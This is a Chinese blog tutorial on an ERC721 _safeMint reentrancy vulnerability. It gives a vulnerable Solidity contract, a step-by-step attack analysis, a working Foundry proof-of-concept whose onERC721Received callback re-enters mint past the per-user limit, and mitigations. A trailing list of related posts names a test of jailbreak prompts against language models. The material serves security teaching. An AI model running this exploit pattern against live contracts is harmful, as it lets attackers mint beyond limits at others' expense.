区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

区块链安全常见的攻击分析------Unprotected callback - ERC721 SafeMint reentrancy【8】

    • [1.1 漏洞分析](#1.1 漏洞分析)
    • [1.2 漏洞合约](#1.2 漏洞合约)
    • [1.3 攻击分析](#1.3 攻击分析)
    • [1.4 攻击合约](#1.4 攻击合约)

重点 :MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _checkOnERC721Received 函数,触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数。to 地址是自己传入,因此可以再次调用 mint 函数,从而实现重入攻击。

1.1 漏洞分析

  1. MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _safeMint 函数
    2. 而 _safeMint 会进一步调用 _checkOnERC721Received 函数,最终触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数,而to地址是可以传入的。
  2. 在 onERC721Received 中,可以再次调用 mint 函数,从而实现重入攻击。

1.2 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

import "../../lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

/*
名称:未保护的回调 - ERC721 SafeMint 重入漏洞 Unprotected callback - ERC721 SafeMint reentrancy

描述:
ContractTest 合约利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。
通过触发 onERC721Received 函数,该函数内部再次调用了 mint 函数。
因此,尽管 MaxMint721 尝试限制用户可以铸造的最大代币数量(MAX_PER_USER),
但 ContractTest 合约仍然成功铸造了超过限制的代币数量。

场景:
本练习展示了一个通过回调函数铸造更多 NFT 的合约漏洞。

缓解措施:
遵循检查-效果-交互模式(check-effect-interaction),并使用 OpenZeppelin Reentrancy Guard。

参考资料:
https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a
https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code

*/

contract MaxMint721 is ERC721Enumerable {
    uint256 public MAX_PER_USER = 10;

    constructor() ERC721("ERC721", "ERC721") {}

    function mint(uint256 amount) external {
        require(
            balanceOf(msg.sender) + amount <= MAX_PER_USER,
            "exceed max per user"
        );
        for (uint256 i = 0; i < amount; i++) {
            uint256 mintIndex = totalSupply();
            _safeMint(msg.sender, mintIndex);
        }
    }
}

1.3 攻击分析

  1. 在攻击合约中重写 onERC721Received 函数,并在函数内调用 MaxMint721.mint 函数。
javascript 复制代码
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        console.log(
            "Unprotected-callback_Attack-onERC721Received()-complete:",
            i
        );
        // 只有第一次调用onERC721Received函数的时候触发mint函数,不然会无限循环
        if (!complete) {
            complete = true;
            MaxMint721Contract.mint(9);
            console.log("Called with :", 9);
            console.log("in complete:", complete);
        }
        return this.onERC721Received.selector;
    }
  1. 将攻击合约地址作为 to 参数传入 ERC721 的 _checkOnERC721Received 函数。

  2. 由于 MaxMint721.mint 会调用 _checkOnERC721Received,从而触发攻击合约的 onERC721Received 函数,形成重入攻击。

javascript 复制代码
 function mint(uint256 amount) {
            _safeMint(msg.sender, mintIndex);
        }
        
 function _safeMint(address to, uint256 tokenId) internal virtual {
        _safeMint(to, tokenId, "");
    }
    
 function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
        require(
            _checkOnERC721Received(address(0), to, tokenId, data)
        );
    }
    
function _checkOnERC721Received( ) {IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) }

function onERC721Received() {
            MaxMint721Contract.mint(9);
        }
  1. 输出结果

  2. 整个流程如下

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Unprotected-callback.sol";

contract ContractTest is Test {
    MaxMint721 MaxMint721Contract;
    address Koko;
    address Aquarius;
    bool complete;
    uint256 i;

    function setUp() public {
        MaxMint721Contract = new MaxMint721();
        // Koko = vm.addr(1);
        // Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
        i = 0;
        console.log("Unprotected-callback_Attack-setUp()-complete:", i);
    }

    function testUnprotectedcallback() public {
        console.log(
            "Unprotected-callback_Attack-testUnprotectedcallback()-address(this):",
            address(this)
        );
        uint256 balance;
        balance = MaxMint721Contract.balanceOf(address(this));
        console.log(
            "11-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",
            balance
        );
        MaxMint721Contract.mint(10);
        balance = MaxMint721Contract.balanceOf(address(this));
        console.log(
            "22-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",
            balance
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        console.log(
            "Unprotected-callback_Attack-onERC721Received()-complete:",
            complete
        );
        // 只有第一次调用onERC721Received函数的时候触发mint函数,不然会无限循环
        if (!complete) {
            complete = true;
            MaxMint721Contract.mint(9);
            console.log("Called with :", 9);
        }
        return this.onERC721Received.selector;
    }
}
相关推荐
恰薯条的屑海鸥2 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
20242817李臻2 小时前
20242817李臻-安全文件传输系统-项目验收
数据库·安全
DevSecOps选型指南10 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化10 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥11 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU12 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
区块链蓝海13 小时前
Fluence推出“Pointless计划”:五种方式参与RWA算力资产新时代
web3·区块链
moongoblin14 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA14 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
weixin_4423169815 小时前
北京大学肖臻老师《区块链技术与应用》公开课:12-BTC-比特币的匿名性
区块链